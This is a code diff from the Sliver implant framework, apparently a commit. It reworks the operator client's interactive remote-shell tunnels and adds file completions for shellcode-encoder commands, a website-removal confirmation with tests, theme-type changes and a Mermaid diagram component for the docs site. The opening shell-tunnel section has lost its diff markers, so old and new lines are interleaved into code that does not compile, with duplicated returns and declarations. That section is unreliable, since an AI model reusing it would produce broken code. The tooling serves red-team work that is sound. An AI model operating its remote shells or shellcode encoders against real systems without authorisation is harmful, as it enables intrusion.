if strings.Contains(strings.ToLower(errMsg), "no such process") ||
strings.Contains(strings.ToLower(errMsg), "process not found") {
con.PrintInfof("Shell process %d already exited\n", sh.Pid)
} else {
con.PrintWarnf("Terminate response for shell process %d: %s\n", sh.Pid, errMsg)
}
} else {
con.PrintInfof("Shell process %d terminated\n", sh.Pid)
}
}
if force {
con.PrintInfof("Shell %d killed (force)\n", sh.ID)
} else {
con.PrintInfof("Shell %d killed\n", sh.ID)
}
}
func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient, existing *managedShell) shellResult {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
con.PrintInfof("Shell management: `shell ls`, `shell attach <id>`\n")
con.PrintInfof("Escape: press Ctrl-] to return to the Sliver client\n")
session := con.ActiveTarget.GetSession()
if session == nil {
return
return shellAttachFailed
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
if existing == nil {
con.PrintInfof("Opening shell tunnel ...\n\n")
} else {
con.PrintInfof("Re-attaching to shell %d ...\n\n", existing.ID)
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: shellPath,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
var (
tunnel *core.TunnelIO
managed *managedShell
enablePTY bool
oldState *term.State
stateSaved bool
stopPtySize = func() {}
err error
)
if existing == nil {
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel.
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
defer cancelTunnel()
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return shellAttachFailed
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
var oldState *term.State
if !noPty {
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object.
tunnel = core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: shellPath,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
core.GetTunnels().Close(tunnel.ID)
return shellAttachFailed
}
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
go backgroundCloseShell(con, tunnel.ID, session.ID)
return shellAttachFailed
}
path := shellPath
if path == "" {
path = shell.Path
}
enablePTY = !noPty
managed = &managedShell{
SessionID: session.ID,
SessionName: session.Name,
Path: path,
Pid: shell.Pid,
TunnelID: tunnel.ID,
EnablePTY: enablePTY,
CreatedAt: time.Now(),
state: shellStateAttached,
tunnel: tunnel,
output: newSwapWriter(os.Stdout),
}
managed.ID = shells.Add(managed)
managed.startReader(func() {
shells.Remove(managed.ID)
})
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell [%d] with pid %d\n\n", managed.ID, shell.Pid)
} else {
managed = existing
tunnel = managed.Tunnel()
enablePTY = managed.EnablePTY
managed.setState(shellStateAttached)
managed.SetOutput(os.Stdout)
con.PrintInfof("Attached shell [%d] (pid %d)\n\n", managed.ID, managed.Pid)
}
if enablePTY {
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state")
return
con.PrintErrorf("Failed to save terminal state\n")
managed.SetOutput(io.Discard)
managed.setState(shellStateDetached)
return shellAttachFailed
}
stateSaved = true
stopPtySize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtySize()
if stateSaved {
defer func() {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
}()
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
log.Printf("Wrote %d bytes to stdout", n)
if err != nil {
con.PrintErrorf("Error writing to stdout: %s", err)
return
}
}()
log.Printf("Reading from stdin ...")
n, err := io.Copy(tunnel, newFilterReader(os.Stdin))
log.Printf("Read %d bytes from stdin", n)
if err != nil && err != io.EOF {
con.PrintErrorf("Error reading from stdin: %s\n", err)
detached, _ := runAttachedIO(tunnel, con)
if detached {
managed.SetOutput(io.Discard)
managed.setState(shellStateDetached)
return shellDetached
}
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
}
managed.SetOutput(io.Discard)
managed.setState(shellStateClosing)
shells.Remove(managed.ID)
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
// "exit" should return immediately; tunnel close/cleanup is best-effort in the background.
go backgroundCloseShell(con, tunnel.ID, session.ID)
return shellExited
}
func backgroundCloseShell(con *console.SliverClient, tunnelID uint64, sessionID string) {
err := closeShellTunnel(con, tunnelID, sessionID)
if err != nil {
log.Printf("Background close tunnel %d failed: %v", tunnelID, err)
}
}
func closeShellTunnel(con *console.SliverClient, tunnelID uint64, sessionID string) error {
core.GetTunnels().Close(tunnelID)
if con == nil || con.Rpc == nil {
return nil
}
_, err := con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnelID,
SessionID: sessionID,
})
return err
}
func requestRemoteShellExit(tunnel *core.TunnelIO) {
if tunnel == nil || !tunnel.IsOpen() {
return
}
for _, payload := range [][]byte{[]byte("exit\n"), []byte("logout\n")} {
func(data []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("Shell exit write skipped: %v", r)
}
}()
select {
case tunnel.Send <- append([]byte(nil), data...):
default:
}
}(payload)
}
}
func sessionLabel(sessionID, sessionName string) string {
if sessionName == "" {
return sessionID
}
return sessionName + " (" + sessionID + ")"
}
@@ -1,6 +1,7 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +49,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
completers.RegisterLocalFilePathFlagCompletion(shellcodeEncodersEncodeCmd, "output")
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
completers.RegisterLocalFilePathPositionalAnyCompletion(shellcodeEncodersEncodeCmd)
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
@@ -1,6 +1,7 @@
package sgn
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -34,7 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode")
})
completers.RegisterLocalFilePathFlagCompletion(shikataGaNaiCmd, "save")
carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
completers.RegisterLocalFilePathPositionalCompletion(shikataGaNaiCmd, 0)
return []*cobra.Command{shikataGaNaiCmd}
}
+1
View File
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) {
(*comp)["proxy"] = completers.LocalProxyCompleter()
})
completers.RegisterLocalFilePathFlagCompletion(updateCmd, "save")
versionCmd := &cobra.Command{
Use: consts.VersionStr,
+3
View File
@@ -1,6 +1,7 @@
package wasm
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -35,9 +36,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["file"] = carapace.ActionFiles()
(*comp)["dir"] = carapace.ActionDirectories()
})
completers.RegisterLocalFilePathFlagCompletion(wasmCmd, "file")
wasmComp := carapace.Gen(wasmCmd)
wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)"))
wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(wasmCmd, 0)
wasmLsCmd := &cobra.Command{
Use: consts.LsStr,
+17 -1
View File
@@ -4,6 +4,7 @@ import (
"context"
"strings"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -66,14 +67,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
websitesCmd.AddCommand(websitesShowCmd)
websitesRmCmd := &cobra.Command{
Use: consts.RmStr,
Use: consts.RmStr + " [name]",
Short: "Remove an entire website and all of its contents",
Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
WebsiteRmCmd(cmd, con, args)
},
}
carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con))
websitesRmCmd.ValidArgsFunction = func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
ws, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, cobra.ShellCompDirectiveError
}
out := []string{}
for _, w := range ws.Websites {
if strings.HasPrefix(w.Name, toComplete) {
out = append(out, w.Name)
}
}
return out, cobra.ShellCompDirectiveNoFileComp
}
websitesCmd.AddCommand(websitesRmCmd)
websitesRmWebContentCmd := &cobra.Command{
@@ -113,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["content"] = carapace.ActionFiles().Tag("content directory/files")
(*comp)["website"] = WebsiteNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(websitesContentCmd, "content")
websitesCmd.AddCommand(websitesContentCmd)
websitesContentTypeCmd := &cobra.Command{
+34 -1
View File
@@ -20,8 +20,10 @@ package websites
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -32,12 +34,43 @@ func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
if len(args) > 0 {
name = args[0]
}
if name == "" {
con.PrintErrorf("No website name specified\n")
return
}
_, err := con.Rpc.WebsiteRemove(context.Background(), &clientpb.Website{
site, err := con.Rpc.Website(context.Background(), &clientpb.Website{
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to fetch website %s", err)
return
}
confirm := false
_ = forms.Confirm(websiteRemoveConfirmationPrompt(name, len(site.Contents)), &confirm)
if !confirm {
return
}
_, err = con.Rpc.WebsiteRemove(context.Background(), &clientpb.Website{
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to remove website %s", err)
return
}
con.PrintInfof("%s\n", websiteRemoveSuccessMessage(name, len(site.Contents)))
}
func websiteRemoveConfirmationPrompt(name string, contentCount int) string {
contentLabel := "content item"
if contentCount != 1 {
contentLabel = "content items"
}
return fmt.Sprintf("Delete website '%s' and %d %s?", name, contentCount, contentLabel)
}
func websiteRemoveSuccessMessage(name string, contentCount int) string {
return fmt.Sprintf("Removed %s and %d content items", name, contentCount)
}
@@ -0,0 +1,48 @@
package websites
import "testing"
func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
tests := []struct {
name string
websiteName string
contentCount int
want string
}{
{
name: "zero content",
websiteName: "test",
contentCount: 0,
want: "Delete website 'test' and 0 content items?",
},
{
name: "single content",
websiteName: "test",
contentCount: 1,
want: "Delete website 'test' and 1 content item?",
},
{
name: "multiple content",
websiteName: "test",
contentCount: 2,
want: "Delete website 'test' and 2 content items?",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := websiteRemoveConfirmationPrompt(tt.websiteName, tt.contentCount)
if got != tt.want {
t.Fatalf("unexpected prompt: got %q want %q", got, tt.want)
}
})
}
}
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
got := websiteRemoveSuccessMessage("test", 2)
want := "Removed test and 2 content items"
if got != want {
t.Fatalf("unexpected message: got %q want %q", got, want)
}
}
+2
View File
@@ -1,6 +1,7 @@
package wireguard
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config")
})
completers.RegisterLocalFilePathFlagCompletion(wgConfigCmd, "save")
return []*cobra.Command{wgConfigCmd}
}
+1 -1
View File
@@ -1139,7 +1139,7 @@ func (l asciiLogo) Render() string {
var asciiLogos = []asciiLogo{
{style: logoStyleRed, art: `
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
+23 -6
View File
@@ -1,5 +1,23 @@
package console
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
@@ -9,12 +27,11 @@ import (
"time"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
type promptPalette struct {
Default lipgloss.Color
Mods map[int]lipgloss.Color
Default string
Mods map[int]string
}
type promptColors struct {
@@ -89,11 +106,11 @@ var promptTemplateCache struct {
func toPromptPalette(p theme.Palette) promptPalette {
out := promptPalette{
Default: lipgloss.Color(p.Default),
Mods: map[int]lipgloss.Color{},
Default: p.Default,
Mods: map[int]string{},
}
for k, v := range p.Mods {
out.Mods[k] = lipgloss.Color(v)
out.Mods[k] = v
}
return out
}
+23 -3
View File
@@ -1,8 +1,28 @@
package console
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"image/color"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
// TextStyle is the shared styling type for the client/server consoles.
@@ -69,13 +89,13 @@ func init() {
// Note: this is intentionally a "global theme" for the console, since most of
// the existing code expects these styles to be package-level values.
func ApplyTheme(t theme.Theme) {
palette := func(p theme.Palette) lipgloss.Color {
palette := func(p theme.Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
paletteMod := func(p theme.Palette, mod int) lipgloss.Color {
paletteMod := func(p theme.Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
+26 -9
View File
@@ -12,16 +12,17 @@ import (
func HuhTheme() *huh.Theme {
t := huh.ThemeBase()
border := DefaultMod(300)
text := DefaultMod(900)
dim := DefaultMod(500)
faint := DefaultMod(400)
current := Current()
border := paletteModV1(current.Default, 300)
text := paletteModV1(current.Default, 900)
dim := paletteModV1(current.Default, 500)
faint := paletteModV1(current.Default, 400)
primary := Primary()
accent := Secondary()
primary := paletteColorV1(current.Primary)
accent := paletteColorV1(current.Secondary)
success := Success()
danger := Danger()
success := paletteColorV1(current.Success)
danger := paletteColorV1(current.Danger)
// Focused styles.
t.Focused.Base = t.Focused.Base.BorderForeground(border)
@@ -45,7 +46,7 @@ func HuhTheme() *huh.Theme {
t.Focused.FocusedButton = t.Focused.FocusedButton.Foreground(text).Background(primary)
t.Focused.Next = t.Focused.FocusedButton
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(lipgloss.Color(DefaultMod(100)))
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(paletteModV1(current.Default, 100))
t.Focused.TextInput.Cursor = t.Focused.TextInput.Cursor.Foreground(primary)
t.Focused.TextInput.Placeholder = t.Focused.TextInput.Placeholder.Foreground(faint)
@@ -65,3 +66,19 @@ func HuhTheme() *huh.Theme {
return t
}
func paletteColorV1(p Palette) lipgloss.TerminalColor {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
func paletteModV1(p Palette, mod int) lipgloss.TerminalColor {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
}
}
return paletteColorV1(p)
}
+16 -15
View File
@@ -2,12 +2,13 @@ package theme
import (
"errors"
"image/color"
"os"
"path/filepath"
"sync"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/charmbracelet/lipgloss"
"gopkg.in/yaml.v3"
)
@@ -106,7 +107,7 @@ func normalizePalette(p *Palette) {
}
}
func (t Theme) paletteColor(p Palette) lipgloss.Color {
func (t Theme) paletteColor(p Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
@@ -114,7 +115,7 @@ func (t Theme) paletteColor(p Palette) lipgloss.Color {
return lipgloss.Color("#ffffff")
}
func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
func (t Theme) paletteMod(p Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
@@ -124,43 +125,43 @@ func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
}
// Primary returns the theme primary color.
func Primary() lipgloss.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) lipgloss.Color {
func Primary() color.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Primary, mod)
}
// Secondary returns the theme secondary color.
func Secondary() lipgloss.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) lipgloss.Color {
func Secondary() color.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Secondary, mod)
}
// Default returns the theme default/neutral color.
func Default() lipgloss.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) lipgloss.Color {
func Default() color.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Default, mod)
}
// Success returns the theme success color.
func Success() lipgloss.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) lipgloss.Color {
func Success() color.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Success, mod)
}
// Warning returns the theme warning color.
func Warning() lipgloss.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) lipgloss.Color {
func Warning() color.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Warning, mod)
}
// Danger returns the theme danger color.
func Danger() lipgloss.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) lipgloss.Color {
func Danger() color.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Danger, mod)
}
-3
View File
@@ -1,3 +0,0 @@
{
"extends": "next/core-web-vitals"
}
@@ -0,0 +1,12 @@
import { Spinner } from "@heroui/react";
import React from "react";
const LoadingState: React.FC = () => {
return (
<div className="flex min-h-screen w-full items-center justify-center">
<Spinner label="Loading ..." labelColor="foreground" />
</div>
);
};
export default LoadingState;
+61 -3
View File
@@ -22,10 +22,10 @@ import {
oneLight,
} from "react-syntax-highlighter/dist/cjs/styles/prism";
import AsciinemaPlayer from "./asciinema";
import Mermaid from "./mermaid";
import Youtube from "./youtube";
export type MarkdownProps = {
key?: string;
markdown: string;
};
@@ -42,6 +42,49 @@ type HeadingProps = ComponentPropsWithoutRef<"h1"> & {
node?: unknown;
};
const parseMermaidMinHeight = (lang: string, node: any): number | undefined => {
const [, ...langOptionParts] = lang.split(":");
const langOptions = langOptionParts.join(":").trim();
const nodeMeta =
typeof node?.data?.meta === "string"
? node.data.meta
: typeof node?.meta === "string"
? node.meta
: typeof node?.properties?.metastring === "string"
? node.properties.metastring
: "";
const optionSources = [langOptions, nodeMeta]
.map((value) => value.trim())
.filter(Boolean);
const parseValue = (raw: string): number | undefined => {
const directNumber = raw.match(/^(\d{2,4})$/);
if (directNumber) {
return Number.parseInt(directNumber[1], 10);
}
const keyedNumber = raw.match(
/(?:^|[,\s;])(?:min[-_]?h(?:eight)?|h(?:eight)?)\s*[:=]\s*(\d{2,4})\b/i
);
if (keyedNumber) {
return Number.parseInt(keyedNumber[1], 10);
}
return undefined;
};
for (const source of optionSources) {
const parsed = parseValue(source);
if (parsed !== undefined && Number.isFinite(parsed)) {
return Math.min(1200, Math.max(120, parsed));
}
}
return undefined;
};
const mergeClassNames = (
...classes: Array<string | false | null | undefined>
) => {
@@ -252,7 +295,6 @@ const MarkdownViewer = (props: MarkdownProps) => {
<div className="relative">
<div className={proseClassName}>
<Markdown
key={props.key || `${Math.random()}`}
remarkPlugins={[remarkGfm]}
components={{
...headingComponents,
@@ -543,6 +585,12 @@ const MarkdownViewer = (props: MarkdownProps) => {
// a monaco code block in a <pre> tag
const { children, className, node, ...rest } = preProps as any;
const childClass = (children as any)?.props?.className;
if (
typeof childClass === "string" &&
childClass.startsWith("language-mermaid")
) {
return <>{children}</>;
}
if (
childClass &&
childClass.startsWith("language-") &&
@@ -598,7 +646,8 @@ const MarkdownViewer = (props: MarkdownProps) => {
const lang = languageClass
? languageClass.replace("language-", "")
: "plaintext";
const normalizedLang = lang.toLowerCase();
const [baseLang] = lang.split(":");
const normalizedLang = baseLang.toLowerCase();
const childValue = Array.isArray(children)
? children.join("")
: children;
@@ -631,6 +680,15 @@ const MarkdownViewer = (props: MarkdownProps) => {
);
}
if (normalizedLang === "mermaid") {
return (
<Mermaid
diagram={sourceCode.replace(/\n$/, "")}
minHeight={parseMermaidMinHeight(lang, node)}
/>
);
}
if (inline || normalizedLang === "plaintext") {
return (
<code
+139
View File
@@ -0,0 +1,139 @@
import { Themes } from "@/util/themes";
import { useTheme } from "next-themes";
import React from "react";
type MermaidProps = {
diagram: string;
minHeight?: number;
};
const Mermaid = ({ diagram, minHeight }: MermaidProps) => {
const { theme } = useTheme();
const containerRef = React.useRef<HTMLDivElement>(null);
const [error, setError] = React.useState<string | null>(null);
const normalizedMinHeight =
Number.isFinite(minHeight) && minHeight
? Math.min(1200, Math.max(120, Math.floor(minHeight)))
: undefined;
React.useEffect(() => {
let cancelled = false;
const target = containerRef.current;
const source = diagram.trim();
if (!target || !source) {
return;
}
const renderDiagram = async () => {
try {
const mermaidModule = await import("mermaid");
const mermaid = mermaidModule.default;
const mermaidTheme = theme === Themes.LIGHT ? "default" : "dark";
mermaid.initialize({
startOnLoad: false,
securityLevel: "strict",
theme: mermaidTheme,
});
const graphId = `sliver-mermaid-${Math.random()
.toString(36)
.slice(2, 10)}`;
const { svg, bindFunctions } = await mermaid.render(graphId, source);
if (cancelled || !containerRef.current) {
return;
}
containerRef.current.innerHTML = svg;
bindFunctions?.(containerRef.current);
if (normalizedMinHeight) {
const svgEl = containerRef.current.querySelector("svg");
if (svgEl) {
const viewBox = svgEl.getAttribute("viewBox") || "";
const parts = viewBox
.split(/\s+/)
.map((part) => Number.parseFloat(part))
.filter((value) => Number.isFinite(value));
let naturalWidth = 0;
let naturalHeight = 0;
if (parts.length === 4) {
naturalWidth = parts[2] || 0;
naturalHeight = parts[3] || 0;
}
if ((naturalWidth <= 0 || naturalHeight <= 0) && svgEl.getBBox) {
try {
const bounds = svgEl.getBBox();
naturalWidth = bounds.width;
naturalHeight = bounds.height;
} catch {
// No-op: leave natural dimensions unset if bbox is unavailable.
}
}
if (naturalWidth > 0 && naturalHeight > 0 && naturalHeight < normalizedMinHeight) {
const scale = normalizedMinHeight / naturalHeight;
const targetWidth = Math.round(naturalWidth * scale);
const targetHeight = Math.round(naturalHeight * scale);
svgEl.setAttribute("width", `${targetWidth}`);
svgEl.setAttribute("height", `${targetHeight}`);
svgEl.style.width = `${targetWidth}px`;
svgEl.style.height = `${targetHeight}px`;
svgEl.style.maxWidth = "none";
}
}
}
setError(null);
} catch (renderError) {
if (cancelled || !containerRef.current) {
return;
}
containerRef.current.innerHTML = "";
const message =
renderError instanceof Error
? renderError.message
: "Unknown Mermaid rendering error";
setError(message);
}
};
void renderDiagram();
return () => {
cancelled = true;
if (target) {
target.innerHTML = "";
}
};
}, [diagram, normalizedMinHeight, theme]);
if (error) {
return (
<div className="not-prose my-6 text-sm text-rose-700 dark:text-rose-300">
Failed to render Mermaid diagram: {error}
</div>
);
}
return (
<div className="not-prose my-6 overflow-x-auto">
<div
className="mx-auto flex w-fit min-w-max items-center justify-center"
style={normalizedMinHeight ? { minHeight: normalizedMinHeight } : undefined}
>
<div
ref={containerRef}
className="min-w-max [&_svg]:h-auto [&_svg]:max-w-none"
/>
</div>
</div>
);
};
export default Mermaid;
+91 -32
View File
@@ -3,7 +3,7 @@
import { SliversIcon } from "@/components/icons/slivers";
import { useSearchContext } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faGithub } from "@fortawesome/free-brands-svg-icons";
import { faDiscord, faGithub } from "@fortawesome/free-brands-svg-icons";
import {
faBars,
faHome,
@@ -133,6 +133,17 @@ export default function TopNavbar(props: TopNavbarProps) {
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/talks")}>
<Button
variant="light"
color={router.pathname === "/talks" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/talks")}
>
Talks
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
@@ -147,43 +158,69 @@ export default function TopNavbar(props: TopNavbarProps) {
<NavbarContent as="div" justify="end" className="hidden md:flex">
{renderSearchInput("w-64")}
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
<Button
variant="ghost"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
>
<FontAwesomeIcon icon={faGithub} />
</Button>
<Tooltip content="Join Discord">
<Button
variant="ghost"
onPress={() => {
window.open(
